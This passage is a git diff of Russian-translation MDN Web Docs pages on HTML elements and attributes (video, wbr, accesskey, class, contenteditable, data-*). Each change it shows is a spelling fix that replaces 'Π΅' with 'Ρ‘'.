<dd>ЛогичСский Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ умолчания для Π°ΡƒΠ΄ΠΈΠΎ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽΡΡ Π² Π²ΠΈΠ΄Π΅ΠΎ. <span id="result_box" lang="ru"><span class="hps">Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Π°Π½</span></span>, Ρ‚ΠΎ Π°ΡƒΠ΄ΠΈΠΎ Π΄ΠΎΡ€ΠΎΠΆΠΊΠ° <span id="result_box" lang="ru"><span class="hps">Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ </span></span>Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚. Π—<span id="result_box" lang="ru"><span class="hps">Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span> <span class="hps">Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</span> <span class="hps">- "лоТь"</span><span>,</span> ΠΈ это<span class="hps"> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ</span> <span class="hps">Π·Π²ΡƒΠΊ Π±ΡƒΠ΄Π΅Ρ‚</span> <span class="hps">Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">Π²ΠΈΠ΄Π΅ΠΎ воспроизводится</span><span>.</span></span></dd>
<dt>{{htmlattrdef("played")}}</dt>
<dd>Атрибут {{domxref("TimeRanges")}},Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ всС Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Ρ‹ воспроизводимого Π²ΠΈΠ΄Π΅ΠΎ.</dd>
<dt>{{htmlattrdef("preload")}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ пСрСчислимый Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ подсказку Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ, ΠΏΠΎ мнСнию Π°Π²Ρ‚ΠΎΡ€Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Π»ΡƒΡ‡ΡˆΠ΅ΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ ΠΎΠΏΡ‹Ρ‚Ρƒ. Он ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:
+ <dd>Π­Ρ‚ΠΎΡ‚ пСрСчислимый Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ подсказку Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ, ΠΏΠΎ мнСнию Π°Π²Ρ‚ΠΎΡ€Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Π»ΡƒΡ‡ΡˆΠ΅ΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ ΠΎΠΏΡ‹Ρ‚Ρƒ. Он ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:
<ul>
<li><code>none</code>: ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²ΠΈΠ΄Π΅ΠΎ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ.</li>
<li><code>metadata</code>: ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ΡΡ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π²ΠΈΠ΄Π΅ΠΎ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΄Π»ΠΈΠ½Π°).</li>
@@ -89,7 +89,7 @@ translation_of: Web/HTML/Element/video
</div>
</dd>
<dt>{{htmlattrdef("poster")}}</dt>
- <dd>URL-адрСс, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° постСра, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ использовано, ΠΏΠΎΠΊΠ° загруТаСтся Π²ΠΈΠ΄Π΅ΠΎ ΠΈΠ»ΠΈ ΠΏΠΎΠΊΠ° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π½Π°ΠΆΠΌΠ΅Ρ‚ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ воспроизвСдСния. Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½, Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ отобраТаСтся Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ доступСн ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΊΠ°Π΄Ρ€; Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΊΠ°Π΄Ρ€ отобраТаСтся ΠΊΠ°ΠΊ Ρ€Π°ΠΌΠΊΠ° постСра.</dd>
+ <dd>URL-адрСс, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° постСра, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ использовано, ΠΏΠΎΠΊΠ° загруТаСтся Π²ΠΈΠ΄Π΅ΠΎ ΠΈΠ»ΠΈ ΠΏΠΎΠΊΠ° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π½Π°ΠΆΠΌΡ‘Ρ‚ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ воспроизвСдСния. Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½, Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ отобраТаСтся Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ доступСн ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΊΠ°Π΄Ρ€; Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΊΠ°Π΄Ρ€ отобраТаСтся ΠΊΠ°ΠΊ Ρ€Π°ΠΌΠΊΠ° постСра.</dd>
<dt>{{htmlattrdef("src")}}</dt>
<dd>The URL of the video to embed. This is optional; you may instead use the {{HTMLElement("source")}} element within the video block to specify the video to embed.</dd>
<dt>{{htmlattrdef("width")}}</dt>
diff --git a/files/ru/web/html/element/wbr/index.html b/files/ru/web/html/element/wbr/index.html
index 85e6e5c732..353b10ecdd 100644
--- a/files/ru/web/html/element/wbr/index.html
+++ b/files/ru/web/html/element/wbr/index.html
@@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/wbr
<td><strong><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</strong></td>
</tr>
<tr>
- <th scope="row"><strong>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</strong></th>
+ <th scope="row"><strong>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</strong></th>
<td><strong>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚</strong></td>
</tr>
<tr>
@@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/wbr
<td><strong>It is an {{Glossary("empty element")}}; it must have a start tag, but must not have an end tag.</strong></td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td><strong>Π›ΡŽΠ±ΠΎΠΉ элСмСнт ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΠΉΒ <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</strong></td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td><strong>Π›ΡŽΠ±Ρ‹Π΅</strong></td>
</tr>
<tr>
@@ -46,11 +46,11 @@ translation_of: Web/HTML/Element/wbr
<h2 id="Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ</strong></h2>
-<p>На страницах Π² ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ΅ UTF-8, элСмСнт <code>&lt;wbr&gt;</code> Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ ΠΊΠΎΠ΄ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>U+200B ZERO-WIDTH SPACE</code> (ΠΏΡ€ΠΎΠ±Π΅Π» Π½ΡƒΠ»Π΅Π²ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹). Π’ частности, ΠΎΠ½ Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ ΠΊΠΎΠ΄ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Unicode Bidi BN, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΎΠ½ Π½Π΅ влияСт Π½Π° порядок {{Glossary("bidi")}}-направлСния (Π΄Π²ΡƒΠ½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°) <code>&lt;div dir=rtl&gt;123,&lt;wbr&gt;456&lt;/div&gt;</code>: отобраТаСтся, Ссли Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Ρ€Π°Π·Π±ΠΈΡ‚ΠΎ Π½Π° Π΄Π²Π΅ строки, <code>123 456</code> ΠΈ Π½Π΅ <code>456,123</code>.</p>
+<p>На страницах Π² ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ΅ UTF-8, элСмСнт <code>&lt;wbr&gt;</code> Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ ΠΊΠΎΠ΄ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>U+200B ZERO-WIDTH SPACE</code> (ΠΏΡ€ΠΎΠ±Π΅Π» Π½ΡƒΠ»Π΅Π²ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹). Π’ частности, ΠΎΠ½ Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ ΠΊΠΎΠ΄ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Unicode Bidi BN, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΎΠ½ Π½Π΅ влияСт Π½Π° порядок {{Glossary("bidi")}}-направлСния (Π΄Π²ΡƒΠ½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°) <code>&lt;div dir=rtl&gt;123,&lt;wbr&gt;456&lt;/div&gt;</code>: отобраТаСтся, Ссли Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Ρ€Π°Π·Π±ΠΈΡ‚ΠΎ Π½Π° Π΄Π²Π΅ строки, <code>123 456</code> ΠΈ Π½Π΅ <code>456,123</code>.</p>
<p>По Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅, элСмСнт <code>&lt;wbr&gt;</code> Π½Π΅ Π²Π²ΠΎΠ΄ΠΈΡ‚ дСфис Π² Ρ‚ΠΎΡ‡ΠΊΠ΅ Ρ€Π°Π·Ρ€Ρ‹Π²Π° строки. Π§Ρ‚ΠΎΠ±Ρ‹ дСфис отобраТался Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΊΠΎΠ½Ρ†Π΅ строки, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ вмСсто Π½Π΅Π³ΠΎ символ «мягкого дСфиса» (<code>&amp;shy;</code>).</p>
-<p>Π­Ρ‚ΠΎΡ‚ элСмСнт Π±Ρ‹Π» Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π² Internet Explorer 5.5 ΠΈ Π±Ρ‹Π» ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² HTML5.</p>
+<p>Π­Ρ‚ΠΎΡ‚ элСмСнт Π±Ρ‹Π» Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π² Internet Explorer 5.5 ΠΈ Π±Ρ‹Π» ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² HTML5.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ€</strong></h2>
diff --git a/files/ru/web/html/global_attributes/accesskey/index.html b/files/ru/web/html/global_attributes/accesskey/index.html
index 3f1ef4a77e..9d5e443f85 100644
--- a/files/ru/web/html/global_attributes/accesskey/index.html
+++ b/files/ru/web/html/global_attributes/accesskey/index.html
@@ -8,7 +8,7 @@ translation_of: Web/HTML/Global_attributes/accesskey
---
<div>{{HTMLSidebar("Global_attributes")}}</div>
-<p><a href="/en-US/docs/Web/HTML/Global_attributes">Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</a>Β <strong>accesskeyΒ </strong>Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ быстро пСрСйти ΠΊ элСмСнту с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ клавиш. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° состоит ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΠ΅Ρ‡Π°Ρ‚Π½ΠΎΠ³ΠΎ символа (Π² Ρ‚ΠΎΠΌ числС спСц. символы, Π°ΠΊΡ†Π΅Π½Ρ‚Ρ‹ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹).</p>
+<p><a href="/en-US/docs/Web/HTML/Global_attributes">Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</a>Β <strong>accesskeyΒ </strong>Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ быстро пСрСйти ΠΊ элСмСнту с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ клавиш. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° состоит ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΠ΅Ρ‡Π°Ρ‚Π½ΠΎΠ³ΠΎ символа (Π² Ρ‚ΠΎΠΌ числС спСц. символы, Π°ΠΊΡ†Π΅Π½Ρ‚Ρ‹ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹).</p>
<div>{{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}}</div>
diff --git a/files/ru/web/html/global_attributes/class/index.html b/files/ru/web/html/global_attributes/class/index.html
index 08824dc4c9..06d41bd334 100644
--- a/files/ru/web/html/global_attributes/class/index.html
+++ b/files/ru/web/html/global_attributes/class/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Global_attributes/class
---
<div>{{HTMLSidebar("Global_attributes")}}</div>
-<p><span class="seoSummary"><a href="/ru/docs/Web/HTML/Global_attributes">Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</a> <code><strong>class</strong></code> это Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ список рСгистров зависимых классов элСмСнта. ΠšΠ»Π°ΡΡΡ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ CSS ΠΈ Javascript Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="/ru/docs/Web/CSS/Class_selectors">сСлСкторов класса</a> ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹Β DOM {{domxref("document.getElementsByClassName")}}.</span></p>
+<p><span class="seoSummary"><a href="/ru/docs/Web/HTML/Global_attributes">Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</a> <code><strong>class</strong></code> это Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ список рСгистров зависимых классов элСмСнта. ΠšΠ»Π°ΡΡΡ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ CSS ΠΈ Javascript Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="/ru/docs/Web/CSS/Class_selectors">сСлСкторов класса</a> ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹Β DOM {{domxref("document.getElementsByClassName")}}.</span></p>
<div>{{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}}</div>
diff --git a/files/ru/web/html/global_attributes/contenteditable/index.html b/files/ru/web/html/global_attributes/contenteditable/index.html
index 638ea9c94a..a374c5d132 100644
--- a/files/ru/web/html/global_attributes/contenteditable/index.html
+++ b/files/ru/web/html/global_attributes/contenteditable/index.html
@@ -19,7 +19,7 @@ translation_of: Web/HTML/Global_attributes/contenteditable
<p>Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½, Ρ‚ΠΎ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <em>наслСдуСтся</em> ΠΎΡ‚ своСго Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта.</p>
-<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <em>ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ</em> ΠΈ Π½Π΅ являСтся <em>булСвским</em>. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ использованиС ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>true, false</code>Β ΠΈΠ»ΠΈ пустая строка ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈ Ρ‚Π°ΠΊΠΎΠ΅ сокращСниС, ΠΊΠ°ΠΊ <code>&lt;label contenteditable&gt;ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΠ΅Ρ‚ΠΊΠΈ&lt;/label&gt; </code>Π½Π΅Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ. Π’Π΅Ρ€Π½ΠΎΠ΅ использованиС β€”Β <code>&lt;label contenteditable="true"&gt;ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΠ΅Ρ‚ΠΊΠΈ&lt;/label&gt;</code>.Β </p>
+<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <em>ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ</em> ΠΈ Π½Π΅ являСтся <em>булСвским</em>. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ использованиС ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>true, false</code>Β ΠΈΠ»ΠΈ пустая строка ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈ Ρ‚Π°ΠΊΠΎΠ΅ сокращСниС, ΠΊΠ°ΠΊ <code>&lt;label contenteditable&gt;ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΠ΅Ρ‚ΠΊΠΈ&lt;/label&gt; </code>Π½Π΅Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ. Π’Π΅Ρ€Π½ΠΎΠ΅ использованиС β€”Β <code>&lt;label contenteditable="true"&gt;ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΠ΅Ρ‚ΠΊΠΈ&lt;/label&gt;</code>.Β </p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для вставки тСкста {{Glossary("caret")}}<br>
со свойством CSS {{cssxref("caret-color")}}.Β Β </p>
diff --git a/files/ru/web/html/global_attributes/data-_star_/index.html b/files/ru/web/html/global_attributes/data-_star_/index.html
index df80ab58ae..3cbc4c9a60 100644
--- a/files/ru/web/html/global_attributes/data-_star_/index.html
+++ b/files/ru/web/html/global_attributes/data-_star_/index.html
@@ -12,7 +12,7 @@ translation_of: Web/HTML/Global_attributes/data-*
<div class="hidden">Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ этого ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° хранится Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ GitHub. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², поТалуйста, ΠΊΠ»ΠΎΠ½ΠΈΡ€ΡƒΠΉΡ‚Π΅ https://github.com/mdn/interactive-examples ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅.</div>
<p>ВсС Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ доступны Ρ‡Π΅Ρ€Π΅Π· интСрфСйс {{domxref ("HTMLElement")}} элСмСнта, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ установлСн Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚. Бвойство {{domxref ("HTMLElement.dataset")}} прСдоставляСт ΠΊ Π½ΠΈΠΌ доступ.<br>
